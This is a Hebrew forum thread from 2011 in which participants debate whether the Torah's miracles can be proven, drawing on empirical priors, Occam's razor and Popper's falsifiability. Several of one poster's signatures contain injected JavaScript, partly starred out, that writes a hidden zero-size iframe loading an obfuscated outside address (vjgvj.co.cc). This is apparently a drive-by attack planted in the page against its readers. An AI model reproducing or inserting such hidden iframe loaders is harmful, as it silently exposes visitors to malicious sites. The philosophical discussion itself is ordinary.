| נשלח ב-27/10/2011 14:28 |
 |
| |
מגרשי המשחקים של הווכוחים
באחד האשכולות הסמוכים מתקיים דיון ער האם אפשר להוכיח את נכונותה המילולית של התורה (ובפרט ניסיה הנחשבים על-טבעיים / לא סבירים באופן קיצוני בימינו) בהנחה שהתורה נכתבה בזמן שנטען ובגרסה שלפנינו ללא שינויים מאז.
הטיעון המרכזי הולך כך. אם התורה נכתבה כנטען, אזי יש (לצורך העניין) שני הסברים:
- קבוצת אנשים שוכנעה לקבל תיעוד של אירועים שחלקם לא היה ולא נברא (או שהם מוגזמים באופן קיצוני).
-
האירועים הניסיים התרחשו.
על פי הטענה, אפשרות מס' 1 איננה סבירה באופן קיצוני. אפשרות מס' 2 איננה בלתי סבירה באופן קיצוני, מפני שהתורה מתארת את התנהגותו של בורא החוקים הפיזיקאליים שאינו כפוף להם, ולכן לא שייך לדבר על סבירות העניין.
לדעתי, כטיעון לוגי, מדובר במשהו לקוי מיסודו. עם זאת, הדיון הער (כ20 עמודים בזמן כתיבת שורות אלו) מתמקד רובו ככולו בשאלה האם 1 אכן בלתי סבירה באופן קיצוני או שמא סבירה למדי, מה מידת ההגזמה באירועים, וכו'. הטענה שמדובר בטיעון שכלל לא קם כהוכחה לוגית התקבל רובו כהתעלמות ומיעוטו בהתנגדות. לכן, חשבתי לפתוח אשכול בעניין כדי להסביר מדוע כך אני סבור, או, לחלופין, כדי להשתכנע שאין זה כך.
ראשית, מספר הגדרות קצרות.
התפלגות אמפירית היא ההתפלגות המתקבלת ע"י סדרת ניסויים. לדוגמה, אם נטיל מטבע 1000 פעם, ונקבל ראש 598 פעמים, אז ההסתברות האמפירית לראש היא 0.598. חשוב להבין שלכל תופעה פיזיקאלית צפייה יש התפלגות אמפירית, ורק צריך להבין איזו היא הרלבנטית (ומציאתה עשויה להיות קשה מאד טכנית). לדוגמה, ההסתברות האמפירית שהשמש לא תזרח עד אותו היום בו היא אכן לא תעשה זאת (ונעזוב לרגע מה ההגדרה המדוייקת לכך) היא 0, אבל במקרה זה מה שרלוונטי הוא ההתפלגות של כוכב בעל מאפיינים דומים לאלה של השמש בעל גיל דומה לשמש, או לחלופין ההתפלגות של תהליכים דומים לאלה שבשמש, וכו' וכו'.
פריור (התפלגות) היא ההתפלגות שאנו מניחים מראש שיש לתופעה. לדוגמה, כשיש לנו משקל, אנחנו יכולים לקבוע (אפילו סתם כך אם בא לנו), שהוא מראה את מה שהוא שוקל +- 1 קילו (זה נכון או לא).
פריור אמפירי הוא פריור שמשתמש בהתפלגות האמפירית. אני משתמש במושג במובן רחב מאד: משפחה של התפלגויות שקשורות להתפלגות האמפירית, אולי כאלה שתוקנו לפי חוקיות כלשהי, וכו'.
עוד מספר הגדרות קצרות, הפעם שרירותיות לגמרי. ישנם מספר "מגרשי משחקים" שבהם אפשר לטעון דברים. לכל אחד חוקים משלו:
- ישנו מגרש משחקים שבו הכללים הם שכל טענה "מרוויחה יותר נקודות" ככל שיש לה הסבר לבעיות הטבע הנצפות שהוא קצר יותר ומנבאת בצורה מדוייקת יותר תוצאות ניסויים. במקרים מסויימים אפשר לקחת שתי טענות במגרש זה (לדוגמה, אם הן מנבאות אותה תופעה, ואחת מדוייקת מהשניה) ולשאול מי "נצחה" בצורה אובייקטיווית.
- ישנו מגרש משחקים בו הכללים והיעד הם במפורש מומצאים (נניח שח-מט או מתמטיקה).
- ישנו מגרש משחקים של אמירות שרירותיות שאין להם שום יחס סדר במובן של מי עדיפה על מי: סגול הוא הצבע היפה ביותר, אדום הוא הצבע היפה ביותר, העולם נשלט על ידי גמד אדום בלתי ניתן לצפייה, העולם נשלט על ידי נמלה ענקית בלתי נתנת לצפייה, וכו'
לדעתי חשוב מאד להבין, עבור כל טענה, באיזה מגרש משחקים היא משחקת, במיוחד מפני שבמגרש משחקים אחד אפשר להשתמש בטרמינולוגיה שרווחת במגרש אחר. לדוגמה, פיזיקאים ומהנדסים משתמשים בכלים מתמטיים כדי לחקור איזה הסבר מנבא טוב יותר משהו מדיד.
כעת לליקוי. נניח שידידנו משה טוען טענה בלתי אפשרית: הוא עבר דרך קיר מוצק ללא שינוי בו או בקיר.
אפשר לשקול את האפשרויות השונות למה שהלך שם במגרש המשחקים הראשון, בו דנים אך ורק במה שיש לו פריור אמפירי. מצד אחד, יש לנו הפריור האמפירי לגבי אמינותו של משה. מצד שני, כדי שהמאורע ה"בלתי אפשרי" (ובמובן אחר לא סביר בצורה קיצונית) יקרה, על כ"א מאטומי משה היה לעבור ליד כ"א מאטומי הקיר ללא אינטראקציה (אני מתעלם מאי דיוקים). גם לכך יש פריור אמפירי. במגרש המשחקים הראשון, אפשר לשקול האם ההסבר שמשה טועה/משקר ניצח את ההסבר שמשה אכן עבר דרך קיר.
אפשר גם לשקול משהו אחר: אלהים, שחוקי הטבע אינם חלים עליו, העביר את משה דרך הקיר. זו טענה לגיטימית, אבל מי שטוען אותה עבר למגרש משחקים 3, והוא אוטומטית משחק מול טענות אחרות שאין שום קריטריון אובייקטיווי לשאול מי נצחה. נשים לב שאין לנו פריור אמפירי על התערבות אלהים במעבר דרך קירות, אין פריור אמפירי על כך שלוקי, אל הקונדס, גורם למשה להאמין בשטויות מדי פעם, ואין פריור אמפירי לטענה שמנוסחת בטרמינולוגיה מתוך מגרש 1: שחוקי הטבע עצמם אינהרנטית כוללים את העובדה שהסינפסות במוחו של משה מדי פעם פועלות בהתפלגות שונה מזו האמפירית. אין משמעות לשאלה מי סבירה יחסית למי - וותרנו כבר על קריטריון מוגדר בעניין. הניסיון להוכיח שאלהים העביר את משה דרך הקיר (בלי קשר לפריור האמפירי לכך), מתוך חקירה מדוקדקת מאד של הפריור האמפירי של אמינות משה - הוא אוולת. במגרש משחקים 3 אף טענה אינה עדיפה על טענה אחרת אובייקטיווית.
(להשלמת הנקודה ברצוני להדגיש שאין שום פריור אמפירי מחוץ לסיפורי הדת על הישויות העל טבעיות המופיעות בהן. גם לפי הטיעונים הטלאולוגיים, שהם בעצמם טיעון שמשהו ספיציפי קרה רק מתוך כך שכל ההסברים הידועים בעייתיים - נובע לכל היותר תכנון כלשהו. מעולם לא תועד אל מתערב מחוץ לסיפורי הדת.)
לסיום, מספר שאלות שהתשובות המקוריות להן ממש התמיהו אותי:
- האם הטענה שמדובר בכשל לוגי איננה בעצמה אמונה בישות שנקראת "טבע" שיש לה הכח הלא מוגבל לגרום להכל להיות כפוף לה? לא. הטענה ש"הוכחה" איננה רלוונטית במגרש משחקים 3 היא טענה לוגית לכל דבר. בנוסף, אדם רציונאלי בהחלט מסוגל להאמין בה' תחת הידיעה הברורה שהוא בחר (באותה נקודה) במשהו מתוך מגרש 3.
- האם נובע מהטענה שמדובר בכשל לוגי שאי אפשר להוכיח את קיומה של ישות על טבעית (במובן שפעולותיה לא מובנות כלל)? לא. אם הפריור האמפירי לקיום תופעות שאיננו מבינים אותן גדול מספיק יחסית לאחרים, בודאי שזה המצב. זה תיאורטית אפשרי לגבי הוכחת נכונות התורה המילולית. זה בודאי יהיה נכון אם ישות על טבעית תופיע כעת מדי לילה ותמטיר מן וכו' תחת הבדיקות המחמירות ביותר. השאלה האם מדובר בה' היא משהו אחר.
- האם בהוכחת נכונות התורה עלינו לדון באפשרויות המתעדים טעו ייחסית לה' בורא העולם ביצע ניסים? תלוי באיזה מגרש. במגרש 1 יש לשקול את ההסתברויות של האירועים שיש להם פריור אמפירי: המתעדים טעו ייחסית לים נבקע מעצמו, מזון פלאי נפל מן השמיים, וכו' וכו'. אם האפשרות השניה היא הסבירה - יסיק כ"א את המסקנות לעצמו. הכנסת תופעה שאין לה פריור אמפירי מראש כאחת מהאפשרויות אוטומטית מעבירה את הדיון למגרש 3. באותו אופן, אפשר לדון באופציה ניסים קרו יחסית לאופציה העולם נברא לפי חוקיות על פיה מדי פעם קבוצות אנשים משתכנעות בשטויות לפי שום חוקיות מדידה כלשהי.
(תודה לפרזנט, ייתכן, וקולמוגורוב על חלק מהנקודות; עם זאת, הם אינם בהכרח שותפים לטיעון כאן.)
 |
|
|
|
|
| נשלח ב-4/11/2011 10:42 |
|
| |
כדרכו, דינו הבלתי-נלאה לא התייאש לחזור על אותו הכשל שוב פעם, בלא שום התייחסות (וכנראה הבנה) לנאמר:
--------------------------------------------------------------------------------------------------
דינו:
השימוש המרובה בשורש 'כשל' על הטיותיו על ידי סוג מסויים של תועמלנים לא מחזק את דבריהם, וייתכן שגם אצלך כך. אני טוען שאין לנו שום ידע הגיוני או לא הגיוני לגבי השאלה האם חוקי הטבע תקפים תמיד, ומה שיקבע כאן הוא תצפית. כמו בכל מקרה של חוסר ידע. הפרשנות של הגורם להפרת חוקי הטבע היא ענין נפרד לגמרי מהמסקנה שהיתה כאן הפרה, ואינה תלויה בו. אדם יכול לקבל את התצפית, ולפרש אותה כהבנתו.
------------------------------------------------------------------------------------------------
מדוע יש טעם להביא את הדברים שוב באשכול? הרי שוב פעם (בפעם המי יודע כמה), אין בדבריו שום התייחסות להודעה הראשונה של האשכול. בשלב זה, אכן נראה לי שהבנת הכשל הגיעה למיצוי, ומדובר לכל היותר בפיליטון קומי, מחקר אנתרופולוגי על שבט המחב"תים הדבילי, או משהו דומה. עכ"פ, תשובתי להלן. היא (על כרחי) פשוט ניסוח של נקודת המוצא של אשכול זה.
------------------------------------------------------------------------------------------------
אתה כותב וכותב, אבל לא מתייחס למהות, ואני מתחיל להשתכנע שפשוט אינך מסוגל להבין אותה.
שוב: האמירה "אין לנו שום ידע הגיוני או לא הגיוני לגבי השאלה האם חוקי הטבע תקפים תמיד, ומה שיקבע כאן הוא התצפית", מעקרת מכל תוכן את כל מה שכתבת באשכול הדבילי הזה, והיא בנוסף מופרכת פנימית (לגבי "מה שיקבע").
זכותך המלאה לחשוב שאין סיבה שחוקי הטבע יהיו תקפים תמיד. אבל אם כך, זה נכון גם לחוקי הטבע הנוגעים לכך שקבוצת אנשים תשתכנע במשהו (זו איננה תופעת טבע? זה סה"כ אוסף סינפסות). בזה ייתרת לגמרי את כל האמירות שלך באשכול: אין טעם להגדיר מהו "שקר", "מופת במה", שאר הקשקושים, והדיון הרציני בצורה תהומית לגבי תכונותיה האקוסטיות של סוכת משה. הכל ממילא נתון לשינוי שרירותי.
שוב: אם אין לנו שום ידע הגיוני האם החוקים תקפים תמיד, אז כל מה שאתה אומר הוא אמירה שרירותית: לדעתי אתמול הייתי במכולת, אנגליה נצחה בקרב טרפלגר, וקבוצת אנשים התקיימה על מזון על טבעי במדבר. זהו. אמירה שרירותית שאין אפשרות לנמק אותה לשיטתך, ולא צריך לה אשכול. מישהו אחר יכתוב: לדעתי אתמול הייתי קיסר הודו, ונמלה אדומה שלחה את בנ"י לגלות בבל, ויש לה בדיוק אותו תוקף כמו לשלך לשיטתך.
אגב, אם אין סיבה הגיונית לחשוב שחוקי הטבע תקפים, אין שום טעם לערוך תצפיות. זו אמירה מטומטמת מספיק כדי שאפילו אתה תוכל להבין את הכשל שבה (אם לא תצליח, אמור לי ואגלה לך).
נ.ב. השימוש ב"תועמלנים" ע"י כשלונרים אינו מחזק את דבריהם, בפרט אצל כשלונר כמוך.
|
|
|
|
|
| נשלח ב-3/11/2011 09:02 |
|
| |
התייחסותו הראשונה של דינו לבעייתיות היתה: "לא טענתי ש'יש פטור מלבחון את סבירותה' אלא שאין לנו שום מידע ושום סבירות בנוגע לשאלה האם האל התערב בטבע. סבירות צריכה להתבסס על משהו. וכאן אין לנו מידע או טיעון או סיבה לחשוב שזה קורה או לא קורה, כל מה שצריך הוא לברר, אם יש באפשרותינו." -------------------------------------------------------------- היות שזו פשוט נקודת המוצא של מה שאשכול זה דן בו (ולא תשובה לו), לא נותר לי אלא לציין זאת: הסברתי בצורה פשוטה מאד את הכשל הלוגי בטענה זו בהודעה הראשונה של מגרשי המשחקים של הווכוחים. אינני רואה התייחסותך (כאן או במקום אחר), ולכן אחזור. אם במהלך בירור איזה משני מאורעות סביר יותר להסבר העבר, עולה הטענה שלאחד מהם אין פריור אמפירי (וזה מה שאתה אומר כאן למעשה), הרי יש כאן דילוג לdomain בו קל מאד להראות שאין יחס סדר בין כל הסבר אפשרי (הן הכוללים ישויות על טבעיות והן כאלה שאינם), וכולם שרירותיים באותה מידה. הניסיון לברר את הפריור האמפירי של ההסבר האלטרנטיבי (שכנוע קבוצת אנשים) חסר משמעות, וכל כולו הוא הולכת שולל (אולי שלך בשוגג) כאילו שמתבצע כאן תהליך רציונאלי כלשהו שמוצא את ההסבר הסביר ביותר. שוב, כדי לנמק את טיעונך באשכול זה, עליך להשוות בין הסבירויות של אירועים שיש להם פריור אמפירי. אתה מוזמן לענות באשכול שם. אם אתה מעדיף, אני אעתיק את תשובתך לשם.
|
|
|
|
|
| נשלח ב-2/11/2011 11:08 |
|
| |
מיימוני,
לא ראיתי את תגובתך לפני שכתבתי את תגובתי באשכול של "תכלית החיים".
נראה לי ששם המקום והזמן לדון בסוגיה.
אם תרצה ואם יהיה לך זמן....
|
|
|
|
| נשלח ב-2/11/2011 08:42 |
|
| |
| מיימוני כתב: |  | אני רואה ששיבולאיו מייחד את האשכול לדיונים סביב ויכוח עם דינו באשכול אחר. אז אני ממש מבקש להמשיך את הדיון באשכול ייחודי לקבלה כמדע והתנאים לכך.
לאלי. ס. לא הבנתי את טענתך כלפי אבל אם היא נכללת במה שדנתי בו כאן עם שותף, אז מקומה באשכול מיוחד לזה ולא לגנוב את המקום לשיבולאיו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
תודה, אבל לי אין בעיה עם זה. כך דרכם של אשכולות בעצכ"ח. (עם זאת, כלכל אחד אחר, גם לי יש ההדגשים המעניינים אותי.)
|
|
|
|
| נשלח ב-2/11/2011 08:40 |
|
| |
| מיימוני כתב: | | | מיותר הוא כל מה שאינו דרוש לבנית התיאוריה. לא חשבתי על זה מספיק כדי לתת הגדרה טובה, אבל כיון שאיני רוצה לעכב עוד אני מציע איפיון כזה: רק מה שהכרחי לתיאוריה חייב להישאר. תכונות שאינן כאלו אין להן מקום.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
שלום מיימוני,
מעניין שאתה אומר זאת, משום שלהבנתי זה קרוב מאד להגדרה המדוייקת של גרסתו המקורית של תערו של אוקאם.
עם זאת, חשוב לדעתי להדגיש את ההבדל (ואינני רומז שאתה סובר אחרת):
- תערו של אוקאם הוא עיקרון פילוסופי. במציאות לרוב קשה להגדיר במדוייק איזו תיאוריה פשוטה מהשניה (או איזו תיאוריה כוללת פחות דברים מיותרים מהשניה). יש בינתיים מעט מאד מיקרים שבהם העקרון הבשיל למשפט מוכח.
- הכשל המתואר באשכול (הכנסת הסברים ללא פריור אמפירי) מוביל לבעיה פרקטית מיידית, שכן אימוצו מעקר את היכולת לדרג איזו תיאוריה סבירה יותר מהשניה, והריהו סוף המדע והחשיבה הרציונאלית בכלל.
|
|
|
|
| נשלח ב-2/11/2011 08:00 |
|
| |
אני רואה ששיבולאיו מייחד את האשכול לדיונים סביב ויכוח עם דינו באשכול אחר. אז אני ממש מבקש להמשיך את הדיון באשכול ייחודי לקבלה כמדע והתנאים לכך.
לאלי. ס. לא הבנתי את טענתך כלפי אבל אם היא נכללת במה שדנתי בו כאן עם שותף, אז מקומה באשכול מיוחד לזה ולא לגנוב את המקום לשיבולאיו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-2/11/2011 07:57 |
|
| |
שותף
כתבת:
אם הסכמנו שאפשר לקחת כל מערכת הנחות ראשונית ולהתרחב ממנה על כל התצפיות, אז מה כל הטענות שלך אם אני אעשה זאת מתוך מערכת ההנחות של הקבלה דווקא ?
סליחה על העיכוב בתשובה.
הרעיון שלך, שוב, מצויין. יוסף דן ניסה לטעון במאמר על קבלת האר"י שהיא אכן עונה על קריטריונים בפילוסופיה של המדע. (אבל כמדומה שזה חלק חלש - יחידי - במחקרים שלו).
אמנם, אם רצונך להציג את קבלת האר"י, למשל, כתיאוריה מדעית כללית, זה אפשרי אבל אז עליך להעמיד את הניסוח בתנאי יסוד.
לציין מה הם מונחי היסוד. יש כאלו כמובן וניסית להציג אותם באשכולות שונים (איקון ירוק על זה). אבל שים לב שצריך להגדיר אותם ולנקותם מתוספות מיותרות. מיותר הוא כל מה שאינו דרוש לבנית התיאוריה. לא חשבתי על זה מספיק כדי לתת הגדרה טובה, אבל כיון שאיני רוצה לעכב עוד אני מציע איפיון כזה: רק מה שהכרחי לתיאוריה חייב להישאר. תכונות שאינן כאלו אין להן מקום. להשוואה, בפיזיקה החלקיקים הם בעלי מסה כלשהי, אנרגיה כלשהי, מטען חשמלי כלשהו, מיקום כלשהו ומהירות כלשהי ואולי גם כיוון תנועה ידוע. (תורת הקוואנטים היא אנטי מדעית במובן הקלאסי מפני שהיא שללה שלחלקיק יהיו גם מיקום ידוע וגם, נדמה לי, מהירות ידועה, אבל כבר כתבתי שאיני פיזיקאי).
נקרא לזה "גישה מינימליסטית" שמרחיקה כל תיאור מיותר. (השאלה איזה צבע וטמפרטורה יש לאלקטרון אינה משמעותית כמו השאלה "מה הצבע של התפוז" וזה גם מוסבר על פי תיאוריות פיזיקליות שצבע הוא החזרה של אור וטמפרטורה היא בסך הכל מהירות תנועה של אטומים).
וזה תנאי הכרחי אבל לא מספיק. כלומר, צריך שגם כללי ההיסק, והחוקים שמתארים את ההתפתחויות האפשריות והצפויות, יהיו מינימליסטיים.
אז צריך להכין רשימה של המאפיינים של תיאוריה מדעית, שכתבתי רק את חלקם, וכמובן יש להוסיף (אולי חברינו שמתמצאים יותר יעשו זאת), ואז ליישם זאת על הנחות היסוד הקבליות.
אעיר שראיתי ספר מד"ב מעניין שבו ניסתה המחברת לתאר יקומים שמתנהלים לפי פרמטרים שאינם מקובלים, עדיין, במדע, שהם הדין והחסד. בעולם שלנו יש מיזוג שמוכר לנו אבל איננו חושבים עליו בתור שכזה. החוקרים מגיעים באופן כלשהו לעולמות מקבילים, שבאחד מהם יש יותר חסד ובשני יש יותר דין. זה כמובן רק סיפור אבל זה גם ניסוי מחשבתי מעניין. רציתי בשעתו לפתוח על זה אשכול ויתכן שזה עדיף כי יצאנו מענין האשכול הנוכחי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-31/10/2011 17:51 |
|
| |
| thepresent כתב: | | אתם באמת לא מבדילים בין סיבה לתוצאה?
מי זה 'אתם' ולמה ירמזון מיליך? |
|
לשותף וקצת גם לרב המימוני
|
|
|
|
|
| נשלח ב-31/10/2011 16:39 |
|
| |
על תגובתי הקודמת,
ענה דינו
את הדבר הבא (באדום):
הבעיה שהכל כאן שגוי. אין שאלה 'אם סביר שים נבקע מעצמו', אין כאן שום מקום לסבירות, במדע אין שאלה 'האם סביר', אלא 'האם ידוע לנו', או לחילופין 'האם ידוע לנו שלא'. במקרה ויש אפשרות אחת מתוך מליון שים לא נבקע, לא ידוע לנו, אבל הסטטיסטיקה מצביעה שהוא כן נבקע. זה לא אומר שזה מה שהיה. בכל אופן אין שום שימוש ל'סבירות' במקרה שאנו לא יודעים משהו על העולם. זו טענה שאין לה שום קשר למציאות, ומעבר לכך היא מבטלת (שוב) את כל טענת הכותב: - בודאי שסבירות קיימת במקרה שאנו לא יודעים משהו על העולם, ולא רק זאת, זה בדיוק המקרה בו שייך לדבר על סבירות. המדע מטפל בכך המון. כשהפיזיקאי פיינמן חקר מדוע נשרפה מעבורת החלל ב85, הוא חקר האם הסבירות להצפדות אטמי הגומי גבוהה מההסתברות לכשל תוכנה. מאז שדווח לפני מספר שבועות שבצרן נרשמה מדידה חריגה במהירות חלקיקים, פיזיקאים עסוקים בשאלה מה ההסבר הסביר לכך. הדבר אינו מוגבל רק לשאלות אד הוק, יש תחומים שלמים שעוסקים בכך: גיאולוגיה, פלנאטולוגיה, וקוסמולוגיה. מדענים עסוקים בשאלה מה ההסבר הסביר לכך שיש שכבה דקה של אירידיום לאורך כל כדור הארץ (מטאור פגע בו), ומה ההסבר הסביר לכך שבשכבות שונות רואים מאובנים עם מגנטיות שונה (השדה המגנטי של כדוה"א מתחלף מדי מיליוני שנים). בקיצור, מופרך לחלוטין - אין קשר למציאות.
- אם אין שום שימוש ל"סבירות" במקרה שלא ידוע משהו על העולם, הרי הדבר נכון ליציאת מצריים. ממילא דינו חוזר למגרש 3, בו אי אפשר לטעון מה סביר ממה, והכל שרירותי באותה מידה.
השאלה אם סביר שקבוצת אנשים קיבלה תיאור מסויים, אינה שאלה מדעית, ל'מדע' יש קריטריונים ברורים, ההיסטוריה או הסוציולוגיה הם מדעי הרוח, ולא עונים לשום קריטריון של המונח 'מדע'. הם תחומים שמסורים להגיון, להיכרות שלנו את הטבע האנושי, ענין בלתי מדעי בעליל. ובשאלה כזו שופט ההגיון, ברור שההגיון אינו אמת אבסולוטית, אבל הוא מה שבני האדם חושבים לנכון, וגם מי שיכריז אחרת ויאמר 'יש לי כך וכך מניח את הדעת' לא יאמר את האמת, כל עוד ההגיון אומר אחרת.
- אם מגדירים הסבר היסטורי הגיוני כמשהו שמתאים לפריור האמפירי שלנו לגבי בני אדם - המצב מצויין. כעת יש רק לשקול עד כמה חזק הפריור האמפירי הזה, שכן אנו מסיקים אותו כמעט תמיד בעקיפין, ולהשוות אותו לפריור האמפירי של ההסבר האלטרנטיבי, שאותו נותנת הפיזיקה.
- אם מגדירים "הגיון" כמשהו אחר לגמרי, שוב קפצנו למגרש משחקים 3. מה הקריטריון להגיון? שההסבר ירוק יותר? שהוא משולש יותר? אין שום קריטריון אובייקטיווי אחר.
תוקן על ידי xibolaiyu ב- 31/10/2011 16:42:29
|
|
|
|
|
| נשלח ב-31/10/2011 07:57 |
|
| |
בינתיים הוסיף כותב האשכול את הדבר הבא:
"הדבר היחידי שכתבת נגד הטיעון שאל התגלה הוא ש'זה התרחש פעם אחת בהיסטוריה'. נכון, זה בודאי מפתיע, ונוגע גם להנחת היסוד של המדיינים בנוגע קיום אלהים או אי קיומו. אבל לא סותר שום דבר. בשאלה מדעית אין משמעות להגיון, מדובר אך ורק על עובדות, כל האפשרויות הפיזיות קיימות ושוות ערך, ולכן צריכים לשלול אותן באופן ישיר. בשאלה היסטורית יש מקום להגיון, מה שמתקבל על דעת אנשים הוא מה שיותר הגיוני שהתרחש, והוא הדעה האנושית."
גם אם משנים את הניסוחים, מדובר בדיוק באותו הכשל הלוגי. השאלה אם סביר שים נבקע מעצמו, והשאלה האם סביר שקבוצת אנשים קטנה קיבלה עבור קבוצת אנשים תיאור מוגזם של המאורעות - שתיהן שאלות מדעיות, ולשניהם יש פריור אמפירי (שמציאתו אכן עשויה להיות קשה טכנית). החלוקה השרירותית ל"מדע", בו אין משמעות להגיון (כך במקור!), ול"הסטוריה", בה יש משמעות להגיון - היא שרירותית לחלוטין. בנוסף, האמירה ש"כל האפשרויות הפיזיות קיימות ושוות ערך" - היא אוולת, שכן לחלקן יש פריור אמפירי גדול מאחרים (הפריור האמפירי לכך שאדם עבר דרך קיר ממש כרוח רפאים הוא נמוך מאד, לדוגמה).
ברור שבעזרת חלוקות שרירותיות כאלה, אפשר לקחת כל טענה בעולם ולטעון שהיא הוכחה. בנוסף, הפסקה מנוסחת בצורה מטעה (אולי בטעות):
- אינטואיטיבית, ברור לכולנו שיש הבדל בין מדע הפיזיקה להיסטוריה. אבל ההבדל איננו זה שהכותב מדבר עליו, אלא הפוך: הפריורים האמפיריים בפיזיקה חזקים בסדרי גודל מאלה של היסטוריה. זה אכן אומר שטענה לכלל פיזיקלי חדש ע"י טענה לתיעוד חד פעמי ע"י קבוצת אנשים היא אכן חלשה מאד.
- בניגוד לדברי הכותב, השאלה כלל איננה קשורה להנחת יסוד בדבר קיום אלהים או לא. לאחר בריאת העולם, אין שום התפלגות אמפירית להתערבות ה' מחוץ לסיפורי המקרא. כשבאים לדון בסיפורי המקרא עצמם, הדבר הנכון לעשות הוא להגיד שמדובר בתופעה שמעולם לא נצפתה. חשוב גם להבהיר שאין קשר בין אמונה בה' לבין הטענה הלוגית שהתגלותו לא הוכחה.
תוקן על ידי xibolaiyu ב- 31/10/2011 08:24:30
|
|
|
|
|
| נשלח ב-29/10/2011 22:28 |
|
| |
נו, אם הסכמנו שאפשר לקחת כל מערכת הנחות ראשונית ולהתרחב ממנה על כל התצפיות, אז מה כל הטענות שלך אם אני אעשה זאת מתוך מערכת ההנחות של הקבלה דווקא ?
|
|
|
|
| נשלח ב-28/10/2011 16:11 |
|
| |
שותף סוד
בדיוק כפי שכתבת!
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-28/10/2011 14:19 |
|
| |
| מיימוני כתב: | |
המשפט "התפוח ייפול תמיד כלפי כדור הארץ" ואפילו "התפוח ייפול בגלל כוח המשיכה" הוא תיאוריה מדעית, מפני שהוא נותן ניבוי, ויש לו הפרכה. אם פעם התפוח לא ייפול נדע שצריך לשפץ את התיאוריה.
המשפט "התפוח נפל בגלל שאלוקים רצה" הוא לא מדעי. זאת מפני שאם התפוח לא ייפול, זה לא מוכיח שאין אלוקים. זה מוכיח בה במידה (ואפילו יותר, בגלל שיש לנו - או לי - העדפה לקבל את מציאות האלקים) שאלוקים כן קיים אבל רצה שהתפוח לא ייפול. לפיכך המשפט הזה אינו עומד בקריטריון הנושא את שמו של פופר. אין כאן אפשרות הפרכה. |
|
המשפט "התפוח יפול תמיד כלפי כדה"א" הוא הרחבה של תצפיות (אף אחד לא יכול לומר תמיד. זו רק השערה סבירה מאד).
המשפט "התפוח יפול בגלל כוח המשיכה" הוא חסר משמעות, כי אין שום הגדרה (או תצפית) ל"כח המשיכה" חוץ מאשר שהוא זה שגורם לתפוחים ליפול כמו שהם נופלים. אם תפוח אחד לא יפול זה רק אומר שיש כאן עוד כח אחר שמנע את נפילתו.
המשפט "התפוח נפל בגלל שאלקים רצה" גם הוא חסר משמעות, כי אין שום הגדרה (או תצפית) ל"אלקים" חוץ מאשר שהוא זה שגורם לתפוחים ליפול כמו שהם נופלים. אם תפוח אחד לא יפול זה רק אומר שיש כעת רצון של האלקים שלא יפול.
בקיצור, אין שום משפטים מדעיים או לא מדעיים. יש תצפיות ויש נסיונות שכליים לסדר אותן בתבניות. כל סידור הוא לגטימי ויכול להשתמש באיזה מונחים שימציא (אלקים, השד משחת או כח המשיכה) כל עוד הוא מסדר את התצפיות.
תקן אותי אם טעיתי.
|
|
|
|
| נשלח ב-28/10/2011 10:02 |
|
| |
למיימוני
אני התייחסתי למילה "למרות"שהיתה מיותרת.
|
|
|
|
| נשלח ב-28/10/2011 10:01 |
|
| |
תיקון והודאה על האמת.
אני בעצם כן יודע איך מודדים תיאוריות מדעיות. מעלים אותן, מנסים לארגנן כך שהן יעמדו בדרישות הבאות:
1. יהיו הדירות. כלומר בנות חזרה.
2. יראו קשר בין אירועים, בין סיבה לתוצאה.
3. יספקו ניבויים. כלומר ציפיות לאירועים שיהיו בני בדיקה ומדידה.
4. יהיו ניתנות להפרכה. כלומר קיים ניסוי כזה שתוצאה אחת שלו תראה שהתיאוריה אינה נכונה (הכלל המפורסם של פופר).
5. תוצאות חיוביות של ניסוי יאששו את התיאוריה (אבל לא "יוכיחו" אותה במובן החזק של המילה, ולשם כך צריך עוד כמה שיעורים בפילוסופיה של המדע. יש ספרים טובים מאד בנושא).
המשפט "התפוח ייפול תמיד כלפי כדור הארץ" ואפילו "התפוח ייפול בגלל כוח המשיכה" הוא תיאוריה מדעית, מפני שהוא נותן ניבוי, ויש לו הפרכה. אם פעם התפוח לא ייפול נדע שצריך לשפץ את התיאוריה.
המשפט "התפוח נפל בגלל שאלוקים רצה" הוא לא מדעי. זאת מפני שאם התפוח לא ייפול, זה לא מוכיח שאין אלוקים. זה מוכיח בה במידה (ואפילו יותר, בגלל שיש לנו - או לי - העדפה לקבל את מציאות האלקים) שאלוקים כן קיים אבל רצה שהתפוח לא ייפול. לפיכך המשפט הזה אינו עומד בקריטריון הנושא את שמו של פופר. אין כאן אפשרות הפרכה.
לעומת זאת יש ניסוי מפורסם שכן היתה בו לכאורה אפשרות הפרכה. אבל זה יקח זמן להביא את הסיפור המרתק הזה. (קצת מתח והתרגשות בקהל?).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 28/10/2011 10:03:07
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
